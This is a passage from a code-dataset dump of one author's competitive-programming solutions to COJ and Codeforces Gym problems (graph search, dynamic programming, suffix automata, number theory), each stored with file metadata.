}\n }\n\n sort(a.begin(), a.end());\n\n if (!a.size()) {\n cout << 1 << \"\\n\";\n } else {\n int ans = a.back() * (r + 1) + r;\n for (int i = 0; i + 1 < a.size(); i++) {\n ans += a[i];\n }\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.44565218687057495, "alphanum_fraction": 0.45108696818351746, "avg_line_length": 11.142857551574707, "blob_id": "bb91a71e7ca8fc2b4b8ec7d0dff0a054d0ea0ad5", "content_id": "4963d3d86a0f82dfe782ed65bd9af85c0d1d30f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 184, "license_type": "no_license", "max_line_length": 30, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2428-Accepted-s483861.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nlong n,ans;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n) && n)\r\n {\r\n ans=ceil(sqrt(n));\r\n printf(\"%d\\n\",ans);\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.36763283610343933, "alphanum_fraction": 0.38840579986572266, "avg_line_length": 22.79310417175293, "blob_id": "017dc953a4a7e751040ac1dd2c79ef37427f65a2", "content_id": "0c57b04a2b8a9522aa2eecb0c98ced02be3f2853", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2070, "license_type": "no_license", "max_line_length": 102, "num_lines": 87, "path": "/Codeforces-Gym/100228 - 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)\n// 100228J\n\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nnamespace ConsoleApplication7\n{\n class Program\n {\n static String abc = \"abcdefghijklmnopqrstuvwxyz\";\n static int[] arrayA;\n \n static void Main(string[] args)\n {\n String a = Console.ReadLine();\n\n while (a != null)\n {\n arrayA = new int[abc.Length];\n \n String b = Console.ReadLine();\n\n setArrayA(a);\n\n String x = \"\";\n\n for (int i = 0; i < b.Length; i++)\n {\n int ind = BusquedaBinaria(b[i]);\n\n if (arrayA[ind] > 0)\n {\n x += b[i];\n arrayA[ind]--;\n }\n }\n\n char[] output = x.ToCharArray();\n\n Array.Sort(output);\n\n for (int i = 0; i < output.Length; i++)\n Console.Write(output[i]);\n Console.WriteLine();\n a = Console.ReadLine();\n }\n }\n\n static void setArrayA(String s)\n { \n for(int i = 0; i < s.Length; i++)\n {\n arrayA[BusquedaBinaria(s[i])]++;\n }\n }\n\n static int BusquedaBinaria(char x)\n {\n int inicio = 0;\n int fin = 25;\n int medio = 0;\n\n for (int i = 0; i < 26; i++)\n {\n if (inicio == fin)\n {\n if (abc[inicio] == x)\n return inicio;\n else return -1;\n }\n\n medio = (fin + inicio) / 2;\n\n if (abc[medio] == x) return medio;\n\n if (abc[medio] > x) fin = medio - 1;\n\n else inicio = medio + 1;\n }\n\n return -1;\n }\n }\n}\n" }, { "alpha_fraction": 0.45647403597831726, "alphanum_fraction": 0.4714703857898712, "avg_line_length": 16.98611068725586, "blob_id": "5a5d185a745515f2518751704e0bf2879cb72d0f", "content_id": "307f4f2ad08d841d07d53220a24eac6077d3ac72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2734, "license_type": "no_license", "max_line_length": 84, "num_lines": 144, "path": "/COJ/eliogovea-cojAC/eliogovea-p2518-Accepted-s1044906.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXS = 100005;\r\n\r\nint length[MAXS];\r\nmap <int, int> next[MAXS];\r\nint suffixLink[MAXS];\r\n\r\nint last;\r\nint size;\r\n\r\nint getNew(int _length) {\r\n\tint now = size;\r\n\tsize++;\r\n\tlength[now] = _length;\r\n\tnext[now] = map <int, int> ();\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\nint getClone(int from, int _length) {\r\n\tint now = size;\r\n\tsize++;\r\n\tlength[now] = _length;\r\n\tnext[now] = next[from];\r\n\tsuffixLink[now] = suffixLink[from];\r\n\treturn now;\r\n}\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = getNew(0);\r\n}\r\n\r\nvoid add(int c) {\r\n\tint p = last;\r\n\tint cur = getNew(length[p] + 1);\r\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\r\n\t\tnext[p][c] = cur;\r\n\t\tp = suffixLink[p];\r\n\t}\r\n\tif (p == -1) {\r\n\t\tsuffixLink[cur] = 0;\r\n\t} else {\r\n\t\tint q = next[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tsuffixLink[cur] = q;\r\n\t\t} else {\r\n\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\tsuffixLink[cur] = clone;\r\n\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\tp = suffixLink[p];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlast = cur;\r\n}\r\n\r\nint cnt[MAXS];\r\n\r\nint freq[MAXS];\r\nint order[MAXS];\r\n\r\nint from[MAXS];\r\nchar let[MAXS];\r\n\r\nvoid solve() {\r\n\tstring s;\r\n\tcin >> s;\r\n\tfor (int i = 0; i <= 2 * s.size(); i++) {\r\n\t\tcnt[i] = 0;\r\n\t}\r\n\tinit();\r\n\tfor (int i = 0; i < s.size(); i++) {\r\n\t\tadd(s[i]);\r\n\t\tcnt[last]++;\r\n\t}\r\n\tint maxLength = 0;\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tmaxLength = max(maxLength, length[i]);\r\n\t}\r\n\tfor (int i = 0; i <= maxLength; i++) {\r\n\t\tfreq[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tfreq[length[i]]++;\r\n\t}\r\n\tfor (int i = 1; i <= maxLength; i++) {\r\n\t\tfreq[i] += freq[i - 1];\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\torder[--freq[length[i]]] = i;\r\n\t}\r\n\tfor (int i = size - 1; i > 0; i--) {\r\n\t\tint s = order[i];\r\n\t\tcnt[suffixLink[s]] += cnt[s];\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tint s = order[i];\r\n\t\tfor (map <int, int> :: iterator it = next[s].begin(); it != next[s].end(); it++) {\r\n\t\t\tint x = it->second;\r\n\t\t\tchar c = it->first;\r\n\t\t\tif (length[s] + 1 == length[x]) {\r\n\t\t\t\tfrom[x] = s;\r\n\t\t\t\tlet[x] = c;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlong long best = 0;\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tif (cnt[s] >= 2) {\r\n\t\t\tbest = max(best, (long long)cnt[s] * length[s]);\r\n\t\t}\r\n\t}\r\n\tif (best == 0) {\r\n\t\tcout << \"0\\n\";\r\n\t} else {\r\n\t\tstring ans = \"\";\r\n\t\tfor (int s = 0; s < size; s++) {\r\n\t\t\tif (cnt[s] >= 2) {\r\n\t\t\t\tlong long val = (long long)cnt[s] * length[s];\r\n\t\t\t\tif (val == best) {\r\n\t\t\t\t\twhile (s != 0) {\r\n\t\t\t\t\t\tans += let[s];\r\n\t\t\t\t\t\ts = from[s];\r\n\t\t\t\t\t}\r\n\t\t\t\t\treverse(ans.begin(), ans.end());\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << best << \"\\n\" << ans << \"\\n\";\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.3097231090068817, "alphanum_fraction": 0.33032840490341187, "avg_line_length": 16.255556106567383, "blob_id": "665b30a87887de478425bff50bc13c841c2b6667", "content_id": "38c5339397fdd9e705f94069508ae60881d29135", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1553, "license_type": "no_license", "max_line_length": 66, "num_lines": 90, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 1100;\n\nint c[MAXN];\nbool dp[MAXN][MAXN];\nint back[MAXN][MAXN];\n\nint solve( int n, int k ){\n dp[1][ c[1] ] = true;\n back[1][ c[1] ] = 0;\n\n if( c[1] > k ){\n return 0;\n }\n\n for( int i = 2; i <= n; i++ ){\n\n bool ok = false;\n\n for( int j = 0; j <= k; j++ ){\n if( dp[i-1][j] ){\n if( j + c[i] <= k ){\n dp[i][ j + c[i] ] = true;\n back[ i ][ j + c[i] ] = j;\n\n ok = true;\n }\n if( j - c[i] >= 0 ){\n dp[i][ j - c[i] ] = true;\n back[ i ][ j - c[i] ] = j;\n\n ok = true;\n }\n }\n }\n\n if( !ok ){\n return i-1;\n }\n }\n\n return n;\n}\n\nstring outp( int i, int j ){\n int jj = back[i][j];\n\n string x = \"-\";\n\n if( jj < j ){\n x = \"+\";\n }\n if( i == 1 ){\n return x;\n }\n return outp( i-1 , jj ) + x;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, k;\n cin >> n >> k;\n\n for( int i = 1; i <= n; i++ ){\n cin >> c[i];\n }\n\n int mx = solve( n , k );\n\n cout << mx << '\\n';\n if( mx ){\n int j = 0;\n for( ; j <= k; j++ ){\n if( dp[mx][j] ){\n break;\n }\n }\n cout << outp( mx , j ) << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.29575249552726746, "alphanum_fraction": 0.3350812792778015, "avg_line_length": 17.26262664794922, "blob_id": "84fe8d2a39b21045ac0afb763aa13336b0f1c42d", "content_id": "42381f607ebcc11da01ed627ef83bb29106434eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1907, "license_type": "no_license", "max_line_length": 66, "num_lines": 99, "path": "/COJ/eliogovea-cojAC/eliogovea-p3282-Accepted-s815576.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int inf = 1 << 30;\r\n\r\nconst int N = 200005;\r\n\r\nint n, m;\r\nint a[N], b[N];\r\n\r\nlong long solve() {\r\n\tif (n == 1) {\r\n\t\treturn 0;\r\n\t}\r\n\tvector<int> v;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif ((i == 0) || (a[i] != 0) || (a[i] == 0 && (a[i - 1] != 0))) {\r\n\t\t\tv.push_back(a[i]);\r\n\t\t}\r\n\t}\r\n\tn = v.size();\r\n\tif (n == 1) {\r\n\t\treturn 0;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ta[i] = v[i];\r\n\t}\r\n\tlong long ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (a[i] == 0) {\r\n\t\t\tif (i == 0) {\r\n\t\t\t\tint p = lower_bound(b, b + m, a[i + 1]) - b;\r\n\t\t\t\tint v1 = inf;\r\n\t\t\t\tif (p < m) {\r\n\t\t\t\t\tv1 = abs(b[p] - a[i + 1]);\r\n\t\t\t\t\ta[i] = b[p];\r\n\t\t\t\t}\r\n\t\t\t\tif (p > 0) {\r\n\t\t\t\t\tint v2 = abs(b[p - 1] - a[i + 1]);\r\n\t\t\t\t\tif (v2 < v1) {\r\n\t\t\t\t\t\tv1 = v2;\r\n\t\t\t\t\t\ta[i] = b[p - 1];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else if (i == n - 1) {\r\n\t\t\t\tint p = lower_bound(b, b + m, a[i - 1]) - b;\r\n\t\t\t\tint v1 = inf;\r\n\t\t\t\tif (p < m) {\r\n\t\t\t\t\tv1 = abs(b[p] - a[i - 1]);\r\n\t\t\t\t\ta[i] = b[p];\r\n\t\t\t\t}\r\n\t\t\t\tif (p > 0) {\r\n\t\t\t\t\tint v2 = abs(b[p - 1] - a[i - 1]);\r\n\t\t\t\t\tif (v2 < v1) {\r\n\t\t\t\t\t\tv1 = v2;\r\n\t\t\t\t\t\ta[i] = b[p - 1];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint x = min(a[i - 1], a[i + 1]);\r\n\t\t\t\tint y = max(a[i - 1], a[i + 1]);\r\n\t\t\t\tint p = lower_bound(b, b + m, x) - b;\r\n\t\t\t\tint v1 = inf;\r\n\t\t\t\tif (p < m) {\r\n\t\t\t\t\tv1 = abs(a[i - 1] - b[p]) + abs(a[i + 1] - b[p]);\r\n\t\t\t\t\ta[i] = b[p];\r\n\t\t\t\t}\r\n\t\t\t\tif (p > 0) {\r\n\t\t\t\t\tint v2 = abs(a[i - 1] - b[p - 1]) + abs(a[i + 1] - b[p - 1]);\r\n\t\t\t\t\tif (v2 < v1) {\r\n\t\t\t\t\t\tv1 = v2;\r\n\t\t\t\t\t\ta[i] = b[p - 1];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (i > 0) {\r\n\t\t\tans += abs(a[i] - a[i - 1]);\r\n\t\t}\r\n\t}\r\n\treturn ans;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n >> m) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tcin >> b[i];\r\n\t\t}\r\n\t\tsort(b, b + m);\r\n\t\tcout << solve() << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3925233781337738, "alphanum_fraction": 0.4267912805080414, "avg_line_length": 15.894737243652344, "blob_id": "507c28e74923c2bb149b328354744accbe4e3b46", "content_id": "cb5d499b247c8392918ff3c27b7a4671aeca4219", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 963, "license_type": "no_license", "max_line_length": 56, "num_lines": 57, "path": "/Codeforces-Gym/101137 - 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 101137G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200;\n\nint k[MAXN];\nint now[MAXN];\nvector<int> g[MAXN];\n\nvector<int> cycle;\n\nvoid dfs( int u ){\n for( ; now[u] < g[u].size(); ){\n int v = g[u][ now[u] ];\n now[u]++;\n dfs( v );\n }\n\n cycle.push_back( u );\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint n; cin >> n;\n\n\tk[0] = 1;\n\tfor( int i = 1; i <= n; i++ ){\n k[i] = i;\n\t}\n\n\tfor( int u = 1; u <= n; u++ ){\n for( int v = 1; v <= n; v++ ){\n if( u == v || (u == 2 && v == 1) ){\n continue;\n }\n g[u].push_back(v);\n }\n\t}\n\n\tg[0].push_back(1);\n\tg[2].push_back(0);\n\n\tdfs(0);\n\treverse( cycle.begin() , cycle.end() );\n\n\tfor( int i = 0; i < cycle.size()-1; i++ ){\n int u = cycle[i];\n int v = cycle[i+1];\n cout << v << ' ' << k[v] << ' ' << u << '\\n';\n\t}\n}\n" }, { "alpha_fraction": 0.34464752674102783, "alphanum_fraction": 0.37232375144958496, "avg_line_length": 16.25225257873535, "blob_id": "7f1ede8ac11afd5997b0f3998e9626d096c87d43", "content_id": "01a34146703c2f69b41fded40c742d5fff9ab17e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1915, "license_type": "no_license", "max_line_length": 62, "num_lines": 111, "path": "/Codeforces-Gym/100738 - KTU Programming Camp (Day 2)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 2)\n// 100738I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\ntypedef pair<int,int> par;\n\nvector<par> g[MAXN];\nvector<int> s[MAXN];\n\nint inback[MAXN];\n\nint k;\n\nvoid dfs(int v){\n //cout << \"v = \" << v << '\\n';\n\n inback[v] = 1;\n\n if( v != 1 && g[v].size() == 0 ){\n return;\n }\n\n for(int i = 0; i < g[v].size(); i++){\n int u = g[v][i].second;\n dfs(u);\n g[v][i].first = inback[u];\n }\n\n sort( g[v].begin() , g[v].end() , greater<par>() );\n int ss = 0;\n\n for(int i = 0; i < g[v].size(); i++){\n int u = g[v][i].second;\n ss += inback[u];\n s[v].push_back(ss);\n }\n\n int ind = min( k-1 , (int)g[v].size() ) - 1;\n if(ind >= 0){\n inback[v] += s[v][ind];\n }\n}\n\nint sol;\n\nvoid dfs2(int v,int val){\n if( v != 1 && g[v].size() == 0 ){\n sol = max( sol , val + 1 );\n return;\n }\n\n for(int i = 0; i < g[v].size(); i++){\n int u = g[v][i].second;\n\n int val2 = val + 1;\n\n int kk = k-2;\n\n if( kk >= 0 ){\n if( g[v].size()-1 <= kk ){\n val2 += ( s[v][ g[v].size()-1 ] - inback[u] );\n }\n else if( i <= kk ){\n val2 += ( s[v][ kk+1 ] - inback[u] );\n }\n else{\n val2 += ( s[v][ kk ] );\n }\n }\n\n dfs2( u , val2 );\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n >> k;\n\n for(int i = 1; i <= n; i++){\n int mi; cin >> mi;\n for(int j = 0; j < mi; j++){\n int u; cin >> u;\n g[i].push_back( par( 0 , u ) );\n }\n }\n\n if( n == 1 ){\n cout << \"1\\n\";\n return 0;\n }\n\n //cout << \"kaka2\\n\";\n\n dfs( 1 );\n\n //cout << \"kaka\\n\";\n\n sol = 0;\n\n dfs2( 1 , 0 );\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.4841269850730896, "alphanum_fraction": 0.5079365372657776, "avg_line_length": 12.823529243469238, "blob_id": "d6ec161bcd7aeb4ab11fbde85b2b8d0f4019d101", "content_id": "0f789f06cbd40c2a535bfe55b68c08dba404d057", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 252, "license_type": "no_license", "max_line_length": 38, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1512-Accepted-s629478.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 1000;\r\n\r\nll tc, n;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tcout << 2ll + n * (n - 1ll) << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4112038016319275, "alphanum_fraction": 0.4290822446346283, "avg_line_length": 12.465517044067383, "blob_id": "9a796327a824980959d0a900f9ab30106cbaeec6", "content_id": "9898fd7734a814a378d4418a785d48b04d7216d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 839, "license_type": "no_license", "max_line_length": 40, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p3914-Accepted-s1123038.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5 * 10 * 1000 + 5;\r\n\r\nint n, m;\r\nvector <int> g[N];\r\nint t[N];\r\nint used;\r\nbool visited[N];\r\n\r\nint value[N];\r\n\r\nint dfs(int u) {\r\n\tif (visited[u]) {\r\n\t\treturn value[u];\r\n\t}\r\n\tvisited[u] = true;\r\n\tint res = t[u];\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tres = max(res, dfs(v));\r\n\t}\r\n\tvalue[u] = res;\r\n\treturn res;\r\n}\r\n\r\nint cnt[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> m;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tint a, b;\r\n\t\tcin >> a >> b;\r\n\t\ta--;\r\n\t\tb--;\r\n\t\tg[b].push_back(a);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint p;\r\n\t\tcin >> p;\r\n\t\tp--;\r\n\t\tt[p] = i;\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcnt[dfs(i)]++;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tans += cnt[i];\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3827977180480957, "alphanum_fraction": 0.39744800329208374, "avg_line_length": 17.241378784179688, "blob_id": "b929093bb38b61e6108210a0e2bca5af52cac036", "content_id": "f34b16b7029efa54064c4026465d03d021a26c57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2116, "license_type": "no_license", "max_line_length": 79, "num_lines": 116, "path": "/COJ/eliogovea-cojAC/eliogovea-p4007-Accepted-s1228684.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint slow(int n) {\n\tint answer = 0;\n\tfor (int x = 1; x < n; x++) {\n\t\tfor (int y = 1; y < n; y++) {\n\t\t\tif (__gcd(x, y) == 1 && __gcd(x, n - y) == 1) {\n\t\t\t\tanswer++;\n\t\t\t}\n\t\t}\n\t}\n\treturn answer;\n}\n\nlong long fast(int n) {\n\tif (n == 2) {\n\t\treturn 1;\n\t}\n\n\tvector <vector <int>> fp(n + 1);\n\tvector <int> pp(n + 1, 1);\n\t\n\tfor (int i = 2; i <= n; i++) {\n\t\tif (pp[i] == 1) {\n\t\t\tfor (int j = i; j <= n; j += i) {\n\t\t\t\tpp[j] *= i;\n\t\t\t\tfp[j].push_back(i);\n\t\t\t}\n\t\t}\n\t}\n\t\n\tmap <long long, long long> cache;\n\t\n\tlong long answer = 0;\n\t\n\tfor (int y = 1; y <= n - y; y++) {\n\t\n\t\tlong long g = __gcd(pp[y], pp[n - y]);\n\t\tlong long v = (long long)y * (long long)(n - y) / g;\n\t\tif (cache.find(v) != cache.end()) {\n\t\t\tanswer += cache[v];\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tvector <int> f;\n\t\t\n\t\tif (y == 1) {\n\t\t\tf = fp[n - y];\n\t\t} else if (n - y == 1) {\n\t\t\tf = fp[y];\n\t\t} else {\n\t\t\tint pa = 0;\n\t\t\tint pb = 0;\n\t\t\twhile (pa < fp[y].size() && pb < fp[n - y].size()) {\n\t\t\t\tif (fp[y][pa] < fp[n - y][pb]) {\n\t\t\t\t\tif (f.size() == 0 || f.back() != fp[y][pa]) {\n\t\t\t\t\t\tf.push_back(fp[y][pa]);\n\t\t\t\t\t}\n\t\t\t\t\tpa++;\n\t\t\t\t} else {\n\t\t\t\t\tif (f.size() == 0 || f.back() != fp[n - y][pb]) {\n\t\t\t\t\t\tf.push_back(fp[n - y][pb]);\n\t\t\t\t\t}\n\t\t\t\t\tpb++;\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile (pa < fp[y].size()) {\n\t\t\t\tif (f.back() != fp[y][pa]) {\n\t\t\t\t\tf.push_back(fp[y][pa]);\n\t\t\t\t}\n\t\t\t\tpa++;\n\t\t\t}\n\t\t\twhile (pb < fp[n - y].size()) {\n\t\t\t\tif (f.back() != fp[n - y][pb]) {\n\t\t\t\t\tf.push_back(fp[n - y][pb]);\n\t\t\t\t}\n\t\t\t\tpb++;\n\t\t\t}\n\t\t}\n\t\t\n\t\tvector <long long> pm(1 << (int)f.size(), 1);\n\t\tfor (int i = 0; i < f.size(); i++) {\n\t\t\tpm[1 << i] = f[i];\n\t\t}\n\t\t\n\t\tlong long t = 0;\n\t\tfor (int m = 0; m < (1 << f.size()); m++) {\n\t\t\tpm[m] = pm[m ^ (m & -m)] * pm[m & -m];\n\t\t\tif (__builtin_popcount(m) & 1) {\n\t\t\t\tt -= (n - 1) / pm[m];\n\t\t\t} else {\n\t\t\t\tt += (n - 1) / pm[m];\n\t\t\t}\n\t\t}\n\t\t\n\t\tcache[v] = t;\n\t\t\n\t\tif (y != n - y) {\n\t\t\tanswer += 2LL * t;\n\t\t} else {\n\t\t\tanswer += t;\n\t\t}\n\t}\n\t\n\treturn answer;\n}\n\nint main() {\n\t// time_t start = clock();\n int n;\n cin >> n;\n cout << fast(n) << \"\\n\";\n // cerr << \"time: \" << (double)(clock() - start) / CLOCKS_PER_SEC << \"\\n\";\n}\n" }, { "alpha_fraction": 0.35694316029548645, "alphanum_fraction": 0.41658899188041687, "avg_line_length": 24.170732498168945, "blob_id": "d08519f6e46c1997f406494d03a7968501d59423", "content_id": "b2daeaee09b5f7d1a1c8bfb153ef5ddc5c7989f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1073, "license_type": "no_license", "max_line_length": 64, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p2757-Accepted-s653108.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 55, inf = 1ll << 60;\r\n\r\nll x, y, z, arr[MAXN][MAXN][MAXN], aux[MAXN];\r\n\r\nll max_sum() {\r\n\tll r = -inf;\r\n\tfor (int x1 = 1; x1 <= x; x1++)\r\n\t\tfor (int x2 = 1; x2 <= x1; x2++)\r\n\t\t\tfor (int y1 = 1; y1 <= y; y1++)\r\n\t\t\t\tfor (int y2 = 1; y2 <= y1; y2++) {\r\n\t\t\t\t\tfor (int z1 = 1; z1 <= z; z1++)\r\n\t\t\t\t\t\taux[z1] = arr[x1][y1][z1] - arr[x1][y2 - 1][z1]\r\n\t\t\t\t\t\t\t\t\t\t\t - arr[x2 - 1][y1][z1] + arr[x2 - 1][y2 - 1][z1];\r\n\t\t\t\t\tfor (int z1 = 1; z1 <= z; z1++) {\r\n\t\t\t\t\t\taux[z1] = max(aux[z1], aux[z1] + aux[z1 - 1]);\r\n\t\t\t\t\t\tr = max(r, aux[z1]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tcin >> x >> y >> z;\r\n\tfor (int i = 1; i <= x; i++)\r\n\t\tfor (int j = 1; j <= y; j++)\r\n\t\t\tfor (int k = 1; k <= z; k++)\r\n\t\t\t\tcin >> arr[i][j][k];\r\n\tfor (int zz = 1; zz <= z; zz++)\r\n\t\tfor (int xx = 1; xx <= x; xx++)\r\n\t\t\tfor (int yy = 1; yy <= y; yy++)\r\n\t\t\t\tarr[xx][yy][zz] += arr[xx - 1][yy][zz] + arr[xx][yy - 1][zz]\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t - arr[xx - 1][yy - 1][zz];\r\n\tcout << max_sum() << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4988558292388916, "alphanum_fraction": 0.508009135723114, "avg_line_length": 17.863636016845703, "blob_id": "8afad55e427dfcf888b0389e44b5086194ff35bd", "content_id": "52e6d67c113451915821a7f74dbe0d7fb63625c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 437, "license_type": "no_license", "max_line_length": 46, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2682-Accepted-s631101.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nint n;\r\nstring a, b;\r\n\r\nbool solve(int x) {\r\n\tfor (int i = 0; a[i]; i++) {\r\n\t\tif (x == 1 && a[i] == b[i]) return false;\r\n\t\tif (x == 0 && a[i] != b[i]) return false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n >> a >> b;\r\n\tn &= 1;\r\n\tif (solve(n)) cout << \"Deletion succeeded\\n\";\r\n\telse cout << \"Deletion failed\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4031830132007599, "alphanum_fraction": 0.46021220088005066, "avg_line_length": 16.136363983154297, "blob_id": "d9f7f78003b756422326f067726206505b69f5c2", "content_id": "7ffaaa072eb9f9f7c89671ad91f25bf970bcdb56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 754, "license_type": "no_license", "max_line_length": 63, "num_lines": 44, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/H.cpp", "repo_name": 